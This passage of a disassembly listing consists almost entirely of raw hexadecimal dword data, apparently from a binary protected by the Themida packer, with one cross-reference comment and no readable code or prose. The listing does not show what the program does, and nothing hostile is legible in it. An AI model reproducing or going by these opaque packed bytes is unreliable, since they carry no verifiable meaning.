		dd 0FD952D41h, 2313AD4Ah, 0FFF6480Dh, 0EB224806h, 9DD36DF7h
		dd 6B237426h, 152B330Bh, 0C79FA584h, 38F20551h,	0F7E52762h
		dd 0CFFBE0D5h, 65E681C6h, 48Dh,	8545414Fh, 0C1AE67D0h
		dd 0C2759A7Fh, 0FA3E642Ah, 9A7F1CFDh, 6E67F975h, 9A6FE4B9h
		dd 6B07F075h, 2EE3759Ah, 15759A6Ch, 6C2DCA7Dh, 0BCC8759Ah
		dd 9A6C6A0Bh, 533D8F75h, 3468931Ah, 569F27A0h, 637A8F52h
		dd 0A7769F6h, 32E9F3D2h, 1F07E640h, 0F7046FCBh,	70B7479h
		dd 296A0000h, 0CDD5F3FFh, 595B4575h, 0DCC3CD8Dh, 4F4A5404h
		dd 0C7A0DD9Dh, 2EA27A27h, 0B424E4A0h, 39B16B2Ah, 8DCD099Fh
		dd 45D2953Dh, 0A073D796h, 11770CC1h, 0F31EE7D5h, 7CA0274Fh
		dd 5D8F699Bh, 0B270CF83h, 0D0E498A3h, 0A1829671h, 0D73E4926h
		dd 3312AC73h, 2FA6DFCBh, 0BA34EE59h, 4719891Fh,	0F939612Fh
		dd 7CCD309Ch, 0D39A96D7h, 7D72DEE1h, 59642678h,	80D69125h
		dd 0A520363Fh, 0A5D0551Bh, 5B45DDF1h, 0F2CC825Ah, 16B21493h
		dd 0AB220D8Fh, 7E73E7FAh, 0D0E44626h, 781CD8CEh, 39B77116h
		dd 54722EA7h, 0FD2B8A4Eh, 11AD439Eh, 65B125Bh, 0F9BA0000h
		dd 7D25A32Fh, 0E9AB35A5h, 8C13BD3Dh, 1F9A04B4h,	97108DCDh
		dd 9ED20A77h, 6454B4F0h, 0E9E13B7Ah, 7D7DB9EFh,	0F582456Dh
		dd 1073D796h, 1F815C91h, 0BF014F8Bh, 0ED3A25Eh,	23AA10E7h
		dd 690D315Ch, 52FC98FEh, 0EDE37D8Fh, 7F7DB9EFh,	0C6F45051h
		dd 4806C2D8h, 0FC675987h, 40407EEEh, 0A87C3D35h, 3AFEA422h
		dd 0EE482AB4h, 0D8B92EC6h, 3D73D2ECh, 0BF5C0BA3h, 5A73D2ECh
		dd 0B037CD80h, 891AF76Ah, 0E5BD3D8Fh, 0E7FD9A4Dh, 0C518759Ah
		dd 0F8153B9Bh, 0E2EBB54Bh, 9ADE6825h, 0DE9F7C75h, 828D759Ah
		dd 0CF31B6DEh, 0EE8F693Ah, 0CFA91E5Ch, 0E773D73Ah, 73D73A29h
		dd 0E7468218h, 0FB955953h, 96F8F57Bh, 0E5000005h, 606E62A2h
		dd 0D6F0F838h, 5E7870ACh, 0C5C38F49h, 5D4800C4h, 2BF1B050h
		dd 0AD7D39A7h, 3AE2A32Dh, 0B67228B6h, 5D0AA23Ah, 73D795BCh
		dd 90975859h, 59D3165h,	8512D56Dh, 60759A7Fh, 7FF899DEh
		dd 431D759Ah, 9B135D0Ah, 75D48F69h, 48B5977Bh, 0B938A66Ah
		dd 71C92A0Bh, 4C881E8Ch, 8539BC0Eh, 17458107h, 76AED7B5h
		dd 0FF4E2694h, 0AD45DE63h, 0E1EDE0F0h, 0B2737FBBh, 0FC9AD08Ah
		dd 606E62A6h, 4C0C23Ah,	0F09634BAh, 60BC8634h, 0DAFE4F4Eh
		dd 13E51679h, 13891558h, 0CEF89BD7h, 649E3D03h,	1ADh, 9B5D424Ch
		dd 659065D2h, 7FAF4CFBh, 0F04A759Ah, 1E882095h,	0A406EDABh
		dd 4DCF5710h, 902A8F52h, 53B24ADAh, 7FD7F9D5h, 0E4B532DDh
		dd 173D26Ch, 0A27136BFh, 0F773D26Ch, 60F89997h,	0D26C16E7h
		dd 6469F373h, 0A6CE729Dh, 1A565921h, 71345A89h,	1E7CDA28h
		dd 2EC6541h, 437B724Ch,	0B1D7F1F9h, 0E1AF4775h,	0D77664A0h
		dd 0BE33EF81h, 5C11F3A1h, 4A86C32h, 2F8ED125h, 1C514710h
		dd 82B6C1A0h, 10097DEAh, 5AE48F52h, 10F2AF14h, 95B573D2h
		dd 0AAFD099Bh, 5E579E38h, 1E000000h, 9D316590h,	52623C2Ah
		dd 60E77F8Fh, 73D27293h, 0EDE1D476h, 0FDA33B53h, 596369B9h
		dd 0D2727D1Ah, 8FC69873h, 38AF47DFh, 73D2725Bh,	0B43AE6AEh
		dd 93DA642Ah, 0D27279D2h, 201E3E73h, 0BF7B2F71h, 0BD26AF31h
		dd 9E38C481h, 0AF2Bh, 93FD9500h, 3983C90Dh, 0D27EDDBAh
		dd 2FA63873h, 0D5117706h, 0A6B8F9E7h, 9A7F5021h, 492BB575h
		dd 0DB1F8503h, 5591F795h, 7B1CA265h, 0B3E9759Ah, 8FBA7B77h
		dd 9577B3D7h, 0DA644601h, 0C7998F54h, 118917AFh, 82C19BD1h
		dd 73D0DAF5h, 0E7FA05BFh, 8C02C4AFh, 0FE58840Eh, 0F18921F7h
		dd 0D04E9976h, 0EBE27C73h, 6A66A6E3h, 1EFF2D6Ch, 46DD2FAh
		dd 9209A42Ah, 0E1000003h, 6C6A66A6h, 0D2FCFC34h, 5A4474D0h
		dd 0C1CF8345h, 595404C0h, 2FFDBC5Ch, 0A16125A3h, 3EE6AF29h
		dd 4A8E14B2h, 590EA606h, 73D793B8h, 779B5C5Dh, 0F09ED20Ah
		dd 0CD626EAAh, 4A921F81h, 0C1059B03h, 65A1E3ADh, 0AE605577h
		dd 32BE7A20h, 0FFFDAE3Dh, 34E9759Ah, 0F759AFFh,	94DA1A81h
		dd 0D1FC83CAh, 1E5E09ADh, 3F8F691Bh, 49572FADh,	55DC9151h
		dd 9C484A2Ah, 7D2D9A32h, 58891F00h, 8D072786h, 814F0222h
		dd 3082Ch, 0FC2C5700h, 0ACED2FCh, 825E5846h, 19DBC0CEh
		dd 924A3751h, 22C2A3DEh, 0AB35A567h, 15B33FEBh,	9A04B490h
		dd 3088C004h, 924E2F98h, 0CEAB73D7h, 0D5117709h, 0D1BE29C1h
		dd 34759A7Fh, 9B6B23AAh, 656BAFF5h, 168C125Bh, 0EC179ED2h
		dd 0B0D62E74h, 0A4C8AA74h, 526DC723h, 0DDC2CC8Fh, 420B551Bh
		dd 1AC6CE4Ch, 904D32B8h, 0D773D26Dh, 0B6D8B9F7h, 345D10CCh
		dd 9E38D70Ah, 25A0h, 65905700h,	9B059D31h, 0C186CF1Bh
		dd 8F526241h, 0AF145AE4h, 73D272F2h, 99B95B5h, 9E38C4FDh
		dd 0DC57h, 11771E00h, 0B8F9E7D5h, 0FE966E6Ch, 9A7FA849h
		dd 0FAF34D75h, 440ACED4h, 7CB8EEB0h, 8B4F5579h,	7BBA00C7h
		dd 594F759Ah, 7B039057h, 44E6759Ah, 0CF1EF6FAh,	744E124Ch
		dd 28B63FC3h, 7D38B672h, 0FBBAE452h, 0A5D5A221h, 0AE30759Ah
		dd 886AB6F0h, 95A763E4h, 0FA8A8F52h, 0D28AAC4Dh, 15F74973h
		dd 4F8B1F81h, 7A36BF01h, 0C8EC90BBh, 1C2EB51Fh,	0E28A5489h
		dd 6435B24Ah, 9175982Eh, 3B85CB17h, 0FCE2EB75h,	0F44C53BDh
		dd 0D6B06C16h, 6FBDFC9Ah, 25B2468Eh, 8D20AE02h,	1CDh, 31B96B2Ch
		dd 0BB37F397h, 34F9B1Dh, 8AC61E85h, 135F8D0Ch, 0B8F91966h
		dd 22626C6Ch, 0A9ECEAE6h, 4B517F73h, 0D3FBC38Fh, 0D7918714h
		dd 0CE076273h, 9ED20A77h, 23A4AAF0h, 759A7F52h,	74B15B7h
		dd 0D659030h, 4F115F8Bh, 1EC9EDh, 0A58F5262h, 3DEE551Bh
		dd 7A73D272h, 0A53D5C52h, 0D2725522h, 3BE1A073h, 0DB652BB5h
		dd 0C4FD0992h, 0CE579E38h, 1E000000h, 0E7D51177h, 23F0770Fh
		dd 0C6759A7Fh, 2C6D7164h, 8A22F2F8h, 9A7F3CDDh,	7B3BD975h
		dd 0DF88CDAFh, 759A7BF7h, 10589C02h, 0E6D41076h, 0DD8AF41Fh
		dd 759A7B3Ch, 5F1DCDC9h, 533D8F0Dh, 4BDA8C3Bh, 55F78F52h
		dd 0CD719C65h, 0AC3011A9h, 0C9D900E4h, 6B501558h
		dd 4E891CFEh, 0A840D8FCh, 98FE5E3Fh, 51A2BB75h,	16D6973Dh
		dd 2AB4399Bh, 653DBD6Fh, 28AD793Bh, 4421FBA6h, 225AF86h
		dd 0D67D70FEh, 25000000h, 0A02EA262h, 16B038F8h, 9E38B06Ch
		dd 583CF09h, 9D084084h,	6BB1F010h, 0ED3D7967h, 7AA2E3EDh
		dd 0F6326876h, 1DCAE2FAh, 73D7907Ch, 77D71899h,	0F09ED20Ah
		dd 92626EAAh, 7FAC4DFAh, 0E1E6759Ah, 47553FB0h,	91C46614h
		dd 0D51177A4h, 67A3F9E7h, 0DB7F8A6Bh, 34751BB3h
dword_598468	dd 7A439AD0h, 7137B464h, 6025A80Ah, 8F69E738h, 8B094719h
					; DATA XREF: Themida_:005612AAo
		dd 0FF99D115h, 0B86F6DA9h, 0E59B972Ch, 0EEAF815Dh, 97009156h
		dd 67E51A1Bh, 521BE521h, 0DE92564Ch, 0A02EEAB0h, 1E877D22h
		dd 687664C6h, 0A78A7233h, 0ABB2D8EEh, 9F0583C9h, 6141155Bh
		dd 0F8994E4Fh, 1D1A1BBFh, 3D0DE143h, 0FA3E6403h, 28701EF6h
		dd 95D8E2E8h, 19579309h, 0C54h,	0A0816300h, 4BF60532h
		dd 0D3AF264Ch, 0DC0C7764h, 6EAAF09Eh, 0F9236260h, 71D1D5F3h
		dd 885C5D7Bh, 7C5C4C2h,	9C544B49h, 2AF6B0DEh, 0A66226A4h
		dd 0EA685B28h, 8900005Eh, 0EC81243Ch, 4, 52240489h, 0C281E289h
		dd 4, 8704EA83h, 895C2414h, 68552434h, 64DE4D2h, 5DE8895Dh
		dd 4EC81h, 24890000h, 24048124h, 4, 4EC815Eh, 89000000h
		dd 468F2404h, 2434FF08h, 4C4835Eh, 5024048Bh, 405E089h
		dd 5000000h, 4,	5C240487h, 0FB5809E9h, 0B81660FFh, 64DF04Dh
		dd 0E0FFC503h, 2DFDDA5Fh, 262E9462h, 1B056E71h,	372653BFh
		dd 4610C5D3h, 48F4FA28h, 7DE51DACh, 1DAD11ACh, 0C586DD0h
		dd 768807AEh, 67862CAFh, 0F1BA8D8Dh, 77BF064Dh,	89175BF5h
		dd 4814058Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 259D0332h, 0C706480Ah, 48302585h
		dd 64C006h, 5BDC8000h, 2AD985C7h, 648h,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0BF2A77C3h, 0D3DB5FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0C69F19C3h, 6BF89FEBh
		dd 3AD83EBAh, 81DF8B1Bh, 5B35E3C0h, 7195FF2Dh, 6A06480Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0D1E1C355h, 0FAB70FDAh, 95FF006Ah, 648092Dh
		dd 1BEBC08Bh, 94FB9BE3h, 55AF742Eh, 60D22968h, 0C3AC2D3Bh
		dd 0CFA88A3Dh, 5849C28Ah, 0E8E96267h, 0Bh, 0A2CE597Ah
		dd 1535A932h, 8BBDFADDh, 481B519Dh, 0B58B5806h,	6481CD9h
		dd 59D1C081h, 0BF0F0000h, 66FF33DAh, 0D2BFCA81h, 0BE0734FFh
		dd 262616Eh, 880F6059h,	5, 174603B8h, 0E5858916h, 6106481Eh
		dd 9F3FC181h, 0B5095AA4h, 6480AB9h, 0F761C181h,	11E85FE8h
		dd 0F7000000h, 0A7DEDD11h, 17879F20h, 0CE775A18h, 0DC1C0FF0h
		dd 28E9B58Bh, 815A0648h, 7D68D4C1h, 3820F08h, 0F000000h
		dd 6651F1BFh, 8F7352BEh, 0B50B3804h, 648276Dh, 3C5D12BEh
		dd 0EBEF813Ah, 2907D966h, 480BADBDh, 0E7C78106h, 8107D966h
		dd 0DDF0CDF6h, 18FF815Bh, 0FFFFFA7h, 1F85h, 850F00h, 0E9000000h
		dd 29h,	2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0DA160879h, 0D590CAF4h
		dd 23DA5ABAh, 0FF46E94Dh, 86FEFFFFh, 0C6F273FCh, 0CCCEDB80h
		dd 9E8C9h, 0A41B0000h, 2D2A9D74h, 60080465h, 29BDBB66h
		dd 8E9h, 318E0E00h, 9C8FD90Bh, 605A618Fh, 116DB50Bh, 8C0F0648h
		dd 15h,	10E9h, 0FBF78600h, 8D7A92F0h, 25B331Ah,	64F0DDFBh
		dd 0C2816110h, 730Fh, 1C95BEh, 0BFB15700h, 332FF5Bh, 480C259Dh
		dd 0F7815F06h, 5701875Ch, 20359D89h, 0F7810648h, 29FD905Dh
		dd 2BB1858Bh, 0EF810648h, 43F95A6Ah, 17258D2Bh,	3A890648h
		dd 0ADEEC081h, 0EA8326FFh, 81666004h, 0E85357F1h, 13h
		dd 0FC7B39BDh, 0E9B2D496h, 0E642772Eh, 9CAA3D23h, 89DCF3D8h
		dd 48088995h, 81615A06h, 1EEh, 96850F00h, 31FFFFFFh, 4810059Dh
		dd 79EB06h, 8CEF9E7Dh, 0D60FE221h, 979FABAFh, 0E37C4DB2h
		dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
		dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh,	7E9BB98Bh
		dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
		dd 3C33594Ah, 4D520071h, 5EF357DBh, 0B79BB7D6h,	0ABAFF600h
		dd 9F8995h, 0C77156F0h,	0BEB3D7h, 0D7567118h, 73E2ADC4h
		dd 4AAC12F2h, 0EB4E9h, 0F5E26800h, 5AE9064Dh, 68FFFA8Ah
		dd 64DF6BAh, 0FA8A50E9h, 0F7B768FFh, 46E9064Dh,	68FFFA8Ah
		dd 64DF8F9h, 0FA8A3CE9h, 0F98968FFh, 32E9064Dh,	68FFFA8Ah
		dd 64DFA35h, 0FA8A28E9h, 0FAD168FFh, 1EE9064Dh,	68FFFA8Ah
		dd 64DFB88h, 0FA8A14E9h, 0FC4068FFh, 0AE9064Dh,	68FFFA8Ah
		dd 64DFCEBh, 0FA8A00E9h, 0FE0868FFh, 0F6E9064Dh, 68FFFA89h
		dd 64E0061h, 0FA89ECE9h, 16C68FFh, 0E2E9064Eh, 17FFFA89h
		dd 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh, 4551330Eh, 0BBD8B8B9h
		dd 4346E2DAh, 0F6D37521h, 7C73FEAAh, 0E4E3801Ch, 0E6B8CF84h
		dd 7C7226A2h, 850F982Eh, 0FE8AFBFEh, 0BA127E75h, 724CDB81h
		dd 7C6C45CBh, 0F6E0831Fh, 83F47550h, 77A0AA94h,	0BBC8491Fh
		dd 6CAA692Bh, 8976E07Ch, 0DC2FCA66h, 0DAE647D2h, 1C6DEA4Fh
		dd 7CA7379Fh, 0A6DBA95Ah, 33h, 0DC7EB9FDh, 44F9B249h, 7FD97002h
		dd 841543EBh, 507C6C57h, 0CC882657h, 877C6C47h,	32C914CBh
		dd 6C481C5Ch, 67CFA87Ch, 0A91BAC57h, 0EB76DBh, 85AD0000h
		dd 0D06CFBFEh, 12A550h,	62CA6226h, 0BF1794E5h, 0C5C46030h
		dd 3C33BE52h, 0F28E1996h, 610E7F72h, 5BAA49C9h,	73455E2Fh
		dd 87F475EDh, 294B4EF5h, 24E0EEBFh, 4C59DA76h, 24DC3672h
		dd 0CFC26276h, 0E483F1BEh, 0EA890567h, 70079EEFh, 0DBC385D9h
		dd 96117624h, 24DB8038h, 8B234C76h, 0D3420833h,	0F3A9473Ch
		dd 4E697ECFh, 255251D2h, 5DE0EE44h, 897C6C8Ah, 112A82EEh
		dd 0AB45DC4Bh, 28A60C09h, 82B6DDD0h, 6D04931Ch,	26D55711h
		dd 2FEE6576h, 51F24558h, 38DD75F2h, 7B1918A4h, 3F8E832Fh
		dd 12A18E8Fh, 4178F6A9h, 6700000Ch, 0F5A1C3DEh,	722E4A4Fh
		dd 692FEEDh, 9501637Eh,	6B88E8E9h, 0B3B6320Ah, 2623C5D1h
		dd 0ACA34E5Ah, 5453D0CCh, 0B6089F34h, 7C7227F2h, 85BF68FEh
		dd 0C98F8F9h, 91006067h, 0D87E73FFh, 0DC7EB9CFh, 90CB749h
		dd 2933B78h, 6C401DACh,	0E6B8C97Ch, 7C6C3FA2h, 512E25CEh
		dd 0D5472050h, 5C5D2A2Fh, 9B448DFh, 63B755C2h, 0C0410D7Fh
		dd 0B7FD4D6Ah, 927C6CBCh, 0D64D7B20h, 0CDBA984h, 0AEh
		dd 0FBFE8597h, 7F72FE8Ah, 36EDB00Eh, 5AD97624h,	0C2613D5Fh
		dd 0DDE6B6C7h, 24F3A83Fh, 0A21F5002h, 328C09A1h, 7C6D522Bh
		dd 0F8D0B0FFh, 0F38A1DBFh, 76DCDD59h, 0B7B36F58h, 29BCFB82h
		dd 8A16EB97h, 3589921Eh, 7626B073h, 6B92641h, 12A1567Eh
		dd 6927D748h, 3F00000Bh, 0CDD9BBB6h, 4A462227h,	0DECAD6B5h
		dd 6D395B56h, 83A0C0C1h, 6B6E0A32h, 1E0B9D09h, 849B2672h
		dd 0C0BA8E4h, 8EE0F76Ch, 7C7228CAh, 85D7B016h, 998F8F9h
		dd 12853972h, 548994B3h, 24414206h, 73E18E76h, 0BF5BF3F6h
		dd 42533134h, 4095D3ABh, 44237624h, 0FE85D5EEh,	75FE8AFBh
		dd 0E186127Eh, 6B0295E2h, 24325513h, 0BC126376h, 762432FCh
		dd 882EAFC8h, 0C6C6B08h, 29B41C95h, 7DCC5C0h, 0E90DBFAFh
		dd 4441ACEh, 0D07624EEh, 2DBF56D7h, 11149F85h, 35B3A90h
		dd 7C6CFE3Ah, 147176Eh,	0CF7C6CE7h, 0B2B530A0h,	0C527A4C5h
		dd 0F7184A0Bh, 0D3794273h, 0BFE76A44h, 77036E2Eh, 0E485F2CFh
		dd 7D461667h, 0F8B148DFh, 910043F4h, 0DDFB5340h, 73FA08F7h
		dd 1B98344Dh, 5B0A4E1Ch, 0A9D667E5h, 8A26BD28h,	1F9CEDE8h
		dd 5D58DBB7h, 0C5C0633Fh
		dd 0E2AD407Ah, 9B97620h, 0A6Ch,	0DCBCB332h, 452722C0h
		dd 0C9ABB649h, 3C5C55DDh, 0A7C5C460h, 630F379Ch, 0F096026Eh
		dd 9E1B7715h, 6ADF99Bh,	0DBF26103h, 7229C583h, 0DA4D137Ch
		dd 8AFBFE85h, 4E0A64FBh, 9A762433h, 0DED9B51Dh,	6CD5A93Ch
		dd 0F87C6C4Fh, 0C2FDDDBFh, 0FC21B8ECh, 54D52213h, 0BB20EDC1h
		dd 3B4482B4h, 96B8FC4Ah, 0FC937624h, 0B7C4C360h, 0B16E60F6h
		dd 0E16A6C97h, 3AB6DDh,	0B9ED0000h, 7549DC7Eh, 7C6C81AFh
		dd 51EB7A05h, 987DD5D4h, 1A667904h, 6C810A4Ch, 0A8B53E7Ch
		dd 6C8092D6h, 0D0515E7Ch, 4659E4B0h, 9C6B929h, 0B7EC0000h
		dd 0D89E7C5Ah, 2142E80Ah, 49DC7EB9h, 0A1090CB7h, 3DC35DF4h
		dd 9FD9B520h, 2D762432h, 0A5EEEC42h, 0CD7C7226h, 69933A2h
		dd 0E5F96A1Bh, 99A713A0h, 8312B839h, 0D84F4AE9h, 312B6D41h
		dd 0FEB97C72h, 0D75C4858h, 522326C3h, 312D6B43h, 0FCBB7C72h
		dd 0F681FE7Fh, 31490F5Fh, 0D1777C72h, 8AE687F4h, 0CEE945EDh
		dd 1E9F921Fh, 23FF3787h, 8EE982C0h, 0FBFE8517h,	63660D99h
		dd 47015DF4h, 95762440h, 593744EAh, 5529BC5Eh, 7C6C70B0h
		dd 0ACC47B04h, 9A0C5B97h, 92A75E5h, 0F57C0000h,	60029EFAh
		dd 0F48B0765h, 971F8BE9h, 6A2FE9Ah, 75426103h, 0C0A0A14Dh
		dd 355732D4h, 0BFDDDC59h, 274540E3h, 34519ACh, 0D17C722Bh
		dd 0EC80940Fh, 0F7E54D44h, 762432ADh, 0A73EDCE7h, 722627D7h
		dd 2FA6C17Ch, 7113169Dh, 0C9B9E25h, 255F1975h, 26D7C72h
		dd 76410FACh, 0F1AA41D4h, 7F778841h, 6229B596h,	0EE80DE4Fh
		dd 0A68BC961h, 2782B966h, 44DC3072h, 0EE444784h, 9DDBB3C2h
		dd 2B762982h, 3670CF4Ch, 10129E85h, 89AEF9Fh, 650C0000h
		dd 10920E6Ah, 841B7715h, 7AFFB99h, 0B6326E0Ah, 0E5B2D1B3h
		dd 305051DDh, 0A5C7C264h, 2F4D4CE9h, 97F5F073h,	93D5A93Ch
		dd 217C722Bh, 0FE85049Fh, 75FE8AFBh, 0F373017Eh, 71F381FEh
		dd 0D2800774h, 77AF206Dh, 8D7B8C5h, 33E8628Bh, 0E1D2EE15h
		dd 37D34DDh, 0B96F0000h, 7549DC7Eh, 7C7226D5h, 3FD14423h
		dd 8A26B1B4h, 189916F5h, 0E87F16B2h, 7225D296h,	3911E7Ch
		dd 42CE6461h, 3732B1A1h, 760702A5h, 0ACFB8809h,	0E0919010h
		dd 0E7AD2B83h, 217C7225h, 8DE17416h, 82BA42A4h,	4418A7C0h
		dd 72129DE5h, 7EE0DBDh,	31B00000h, 0BC46523Eh, 38CFDBB9h
		dd 0D3534F2Dh, 5AE6B2DEh, 0B91E2547h, 84E4E581h, 96B7608h
		dd 7311109Dh, 0FB999C27h, 3F795568h, 8D7C722Dh,	0FE85683Bh
		dd 0CB4857E8h, 4E45EEBAh, 0F9A61831h, 0E11254CFh, 2E18EDDh
		dd 47150000h, 762432FDh, 0F76E2C17h, 2ECB2B60h,	0BE372EE9h
		dd 87D6BA18h, 95127C72h, 3AC56E02h, 0B861F453h,	0E98B081Eh
		dd 423336BDh, 0FC6B310Ah, 4DAE2787h, 14BA222Ah,	7B53EA81h
		dd 7C71A93Dh, 846EC8Bh,	82B9C629h, 0CF833A45h, 0F9129E6Ah
		dd 7528806h, 0AD540000h, 58DAB6D2h, 0DC633F5Dh,	4FF7A3C1h
		dd 0FE7A1672h, 1D7A99FBh, 0F8989925h, 6D0F1AACh, 0D7B5B431h
		dd 5F3D38BBh, 0DB9DF184h, 0E97C722Ch, 0FE85CC57h, 0F9D56CFBh
		dd 762432BFh, 0AFCC620Dh, 225356DDh, 0DACAB12Dh, 0DDE11221h
		dd 9C931EB2h, 24288EEFh, 237h, 4974148Dh, 14C8C580h, 9A1B686Fh
		dd 4712B51Dh, 762432FDh, 0F76E2C17h, 8A716E82h,	0BA39B21h
		dd 0DA59F38Ah, 5977DFh,	4C7C7324h, 0C7B4B330h, 409ADEB0h
		dd 59267C71h, 30CC5BD8h, 0B8D4B4B3h, 14F3C3Bh, 0AD019436h
		dd 82B9568Ch, 7C63AB58h, 0F09FF091h, 0DC7CCC73h, 0C5BA129Dh
		dd 69B55h, 6D640D00h, 1411930Fh, 98871874h, 0D04ACF8h
		dd 0B2B7336Fh, 0DCE4CDD6h, 67335150h, 0E8A4C4C1h, 722E4A4Dh
		dd 3D96F2F1h, 2D94D4AAh, 9E207C72h, 0FBFE8505h,	7E75FE8Ah
		dd 0A8A955E7h, 532D7502h, 0AEBF44ECh, 243298D0h, 0DA5B2476h
		dd 0EE51EBEh, 73FDDE1h,	64000000h, 17A67h, 0EC80FC00h
		dd 0E9E74F5Ah, 762432B1h, 4A24D8E3h, 7624330Eh,	744ADDDAh
		dd 76243334h, 0EF66E780h, 7226C59Fh, 0CABDF67Ch, 0D0E6EEE9h
		dd 472050E6h, 0B0B73CD0h, 383FC4D0h, 903A054Bh,	0F90A905h
		dd 405C82BAh, 0A9D6A7A2h, 528603Eh, 0CBB4762Ah,	27BF34Ah
		dd 0C2BD129Eh, 5E354h, 253CC500h, 0ACA94B47h, 504FD0CCh
		dd 0C5DC6430h, 4A4FEBA7h, 94AC052Eh, 1F8BE9E8h,	0A0FC9C89h
		dd 2A660205h, 75EE8A89h, 2F4C0C62h, 0C6987C72h,	0FFE855Dh
		dd 0A29F2959h, 9EC8D660h, 9DE26F18h, 841465E2h,	0F38BF8FFh
		dd 951EC2B9h, 0CD75079Eh, 0AA425EF4h, 0DDE1F471h, 7ABh
		dd 0BC67F000h, 0FC000000h, 24330447h, 65271076h, 26CF9CF2h
		dd 9C1B7C72h, 83397209h, 0EAEEB1F1h, 3BB858FEh,	0BC12A93Ch
		dd 7C71DFFCh, 7B07AFC8h, 0F081842Fh, 6EF9A39Ch,	0BABF45D7h
		dd 0F5A34614h, 6F82B9h,	9E1CC7BDh, 900E8112h, 538h, 0A8C8C76Eh
		dd 117376FCh, 85E7E285h, 8686909h, 7311109Ch, 0BF3B0350h
		dd 3CC2DEBAh, 0AA574321h, 5AD9B5D7h, 0FA63D5Fh,	722EF9BFh
		dd 0A661C77Ch, 8AFBFE85h, 578A75FEh, 5E09D32h, 8C1263E0h
		dd 1CA74D32h, 28D37B19h, 0F2DDE19Ch, 7,	1D6729h, 85FC0000h
		dd 0FE8AFBFEh, 2A017E75h, 0C8648B70h, 5E5F2C2Bh, 9C9B18F8h
		dd 2A42FCh, 85C10000h, 350D0FFEh, 126EE62Bh, 321825DCh
		dd 0B435B238h, 74348A21h, 40762492h, 52E08F27h,	76249313h
		dd 73B96650h, 0C97F5F0h, 91EDFE85h, 762432D7h, 8A1D9AE5h
		dd 0DCDD59F3h, 0D890CEAFh, 0E4762432h, 0C884339Bh, 0E4BA2DEFh
		dd 7C72269Fh, 1F12922Eh, 9A9016Eh, 0DE65F76Eh, 5B2837C8h
		dd 0E3BFDD5Ah, 58344540h, 932ABD5Fh, 25E6A2FCh,	0A6F27C72h
		dd 2E840500h, 0C01976A0h, 92056282h, 0A0F69419h, 3BA97F17h
		dd 0AFCCBDB8h, 71F28E07h, 0F97A1672h, 0F8C38DFAh, 4AEBC352h
		dd 9E7C6C7Ch, 0ABBCAE11h, 5FA0C5Bh, 41B95h, 0EDE48D00h
		dd 9491138Fh, 180798F4h, 8D842C78h, 3237B3EFh, 5C644D56h
		dd 0E7B3D1D0h, 68244441h, 0F2AECACDh, 0BD167271h, 3114542Ah
		dd 1EA07C72h, 0FBFE8585h, 70660D99h, 0F484F5F4h, 77F4754Ch
		dd 0CAC96A06h, 0D48BE5BDh, 0F560670Ch, 0D54601BCh, 2484BFF9h
		dd 11620D76h, 0BBA52E8Fh, 0C981F92Ch, 5C6CC243h, 0E1C047BCh
		dd 599DDDh, 0B9060000h,	2D18287Eh, 1E18CE5Ch, 79923B65h
		dd 0A2233AA1h, 0DE995B33h, 402F7C6Ch, 0A8BE3BD5h, 2A7D0A0Dh
		dd 6C461454h, 46C7A07Ch, 0A82934CAh, 0BC47D9C8h, 0E89ECCB9h
		dd 8E7A3EDAh, 50ECAA28h, 971C7C6Ch, 91EEE383h, 0E5626703h
		dd 0ED880464h, 0F17E7BF9h, 3561280h, 0B9710000h, 0B249DC7Eh
		dd 24329CDCh, 0E74F2876h, 44D5502Eh, 6617C6Ch, 9D981B69h
		dd 5615C5ECh, 50C785BEh, 1238E65Bh, 0BA1028D0h,	0B38283DBh
		dd 993382B4h, 6D6C0806h, 5E2A46ECh, 0B1F7C7D4h,	3F7624B0h
		dd 1672F370h, 0F5C97D46h, 7624B0B3h, 6EF96601h,	6CC21510h
		dd 28D5A17Ch, 0C9DBA829h, 0B85F2C2Dh, 98A3453Ah, 67715106h
		dd 0D7548494h, 57E76E40h, 347382B4h, 0BCBB3854h, 3336BDCFh
		dd 9C3E7951h, 4788B509h, 27B97C6Ch, 8BE8999Ch, 9BE89723h
		dd 6C4289CBh, 0A916C07Ch, 0A902847Fh, 0E38517DBh, 78E889E6h
		dd 0E18EFFFAh, 3A8549h,	50EC0000h, 383FC4D2h, 0DCAD2A4Bh
		dd 0B96C77DFh, 7549DC7Eh, 7C6C4064h, 6EB403B0h,	54BB94C0h
		dd 4AC40D7h, 973F7C0Dh,	0F0A4A18h, 95417C6Dh
		dd 0D205FED6h, 0F8DFDBA9h, 44000000h, 91EDFE85h, 762432D7h
		dd 32EAAE00h, 89F67624h, 0A0A848FBh, 754F73CCh,	0ABE077F4h
		dd 0CC54F820h, 39B61CA4h, 0BDCACF6Bh, 304144EFh, 0A4C4C360h
		dd 0C11BB4EDh, 0CEEAFE59h, 0E4236A68h, 0E9A27624h, 4C419C33h
		dd 74EB9C08h, 4FFE8040h, 0BA868CEh, 0B3306C0Ch,	0AE89C7B4h
		dd 7AE4A4FAh, 0A1F07624h, 247A8BCDh, 0D15E5976h, 0A4E9C550h
		dd 0C07C6CAAh, 35CCC5A7h, 6C9A1F59h, 53C2AD7Ch,	6C9A3D7Bh
		dd 46EC8B7Ch, 980FCDF6h, 0B73E49C6h, 6FE68182h,	2F5C55DDh
		dd 932DE84Eh, 1A761217h, 3C249B9Eh, 0A12A111h, 1C2E595h
		dd 5DE40000h, 0C86A2642h, 6CF3AFCDh, 0FF871371h, 6E0A86E2h
		dd 8DEA096Bh, 680809B5h, 0DDBFAA3Ch, 472524C1h,	0CFADA84Bh
		dd 6B2D8114h, 797C7232h, 0F9853CE7h, 3D4A4FEBh,	19DFF7Ch
		dd 4A5E9362h, 9C8E3A9Ah, 243C86C2h, 0D4555276h,	0B9AE3557h
